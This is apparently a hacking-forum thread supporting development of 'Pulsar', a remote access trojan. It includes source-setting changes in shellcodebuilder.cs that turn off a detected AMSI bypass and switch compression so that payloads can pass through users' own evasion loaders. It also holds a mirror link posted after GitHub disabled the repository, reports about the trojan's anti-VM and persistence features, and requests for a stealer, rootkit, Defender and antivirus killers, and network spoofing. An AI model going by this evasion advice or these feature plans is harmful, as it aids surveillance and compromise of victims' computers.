[I_H8_KDot]

In shellcodebuilder.cs

change:
Bypass bypass = Bypass.Continue,

to:
Bypass bypass = Bypass.None,

and change:
Compress compression = Compress.None,
to
Compress compression = Compress.aPLib,

The donut amsi bypass is detected, this allows the user to generate shellcode in small size and allows them to use their own loader for bypasses

Just changed in newest. Thank you for the suggestion

[benio2]

Just changed in newest. Thank you for the suggestion

No problem. But after doing more testing, I realize that the compression you select matters. If my loader is using certain compressions then not all of the donut compressions work. The best thing to do, when building the shellcode, would be to pop up a small Form that allows you to select your donut settings before you build. This way, you can cycle through the donut settings on the Pulsar builder and select the best ones that work with your loader.
Example of mine, but I also need to add the compression selection option, but just so you get a basic idea:

[I_H8_KDot]

No problem. But after doing more testing, I realize that the compression you select matters. If my loader is using certain compressions then not all of the donut compressions work. The best thing to do, when building the shellcode, would be to pop up a small Form that allows you to select your donut settings before you build. This way, you can cycle through the donut settings on the Pulsar builder and select the best ones that work with your loader.
Example of mine, but I also need to add the compression selection option, but just so you get a basic idea:

Would you be interested in adding it to pulsar in a pr? If not that's perfectly fine.

[ZERO2SIX]

your doing a nice job, will take a look at this rat later this week. keep up the good work

[joeflower]

Pulsar works for me really good, so thx for the good job until now.
Is there time for wishes ?
I miss being able to save streams from webcam and/or desktop, like the good old Babylon or Cybergate used to do.

[I_H8_KDot]

Pulsar works for me really good, so thx for the good job until now.
Is there time for wishes ?
I miss being able to save streams from webcam and/or desktop, like the good old Babylon or Cybergate used to do.

How long would the recording be?

[joeflower]

I guess it depends on whether the recording is local or on the client. I think in terms of minutes, not hours.

[I_H8_KDot]

I guess it depends on whether the recording is local or on the client. I think in terms of minutes, not hours.

the recording would be done on the server which would make the most sense.

[Xploit4333]

Not able to download the last version, seems that the link is not available anymore :

This repository has been disabled.
Access to this repository has been disabled by GitHub Staff due to a violation of GitHub's terms of service. If you are the owner of the repository, you may reach out to GitHub Support for more information.

[OpalCanidae]

Not able to download the last version, seems that the link is not available anymore :

This repository has been disabled.
Access to this repository has been disabled by GitHub Staff due to a violation of GitHub's terms of service. If you are the owner of the repository, you may reach out to GitHub Support for more information.

https://gitlab.com/KDot227/Poopsar

[Xploit4333]

Thank You for the sharing

[gerg61]

Thank you for all the time & effort you've spent on this project.

I've tested the rat and its working nicely, except the fact that I found some issues.

Critical process will automatically trigger BSOD as soon as the client starts.
Anti-vm/Anti-debug will prevent the build from running even on real PC (No debug tools are installed on real pc, however, as soon as I start it, it automatically closes, while when these features are disabled, it works normally).
Auto-Task part doesnt work at all, it never automatically executes (yes I configured it properly)

Also some very useful features that would be really nice if they are added.

DNS poisoning
Rootkit
Stealer
Windows Defender killer (Fully kill defender without being able to restore it)
Antivirus killer (using driver)
Process killer
Customizable Telegram Message
ARP Spoofing (so it can kill internet on other devices except the PC) or even better forbid specific domains on entire network

[asdrtaw4er]

For some odd reason it doesn't seem to want to connect to my client for some reason.
Tested it out in my vms and other rdps, it just won't connect whenever I run them, but other rats like quasar would work.
Any reason to that?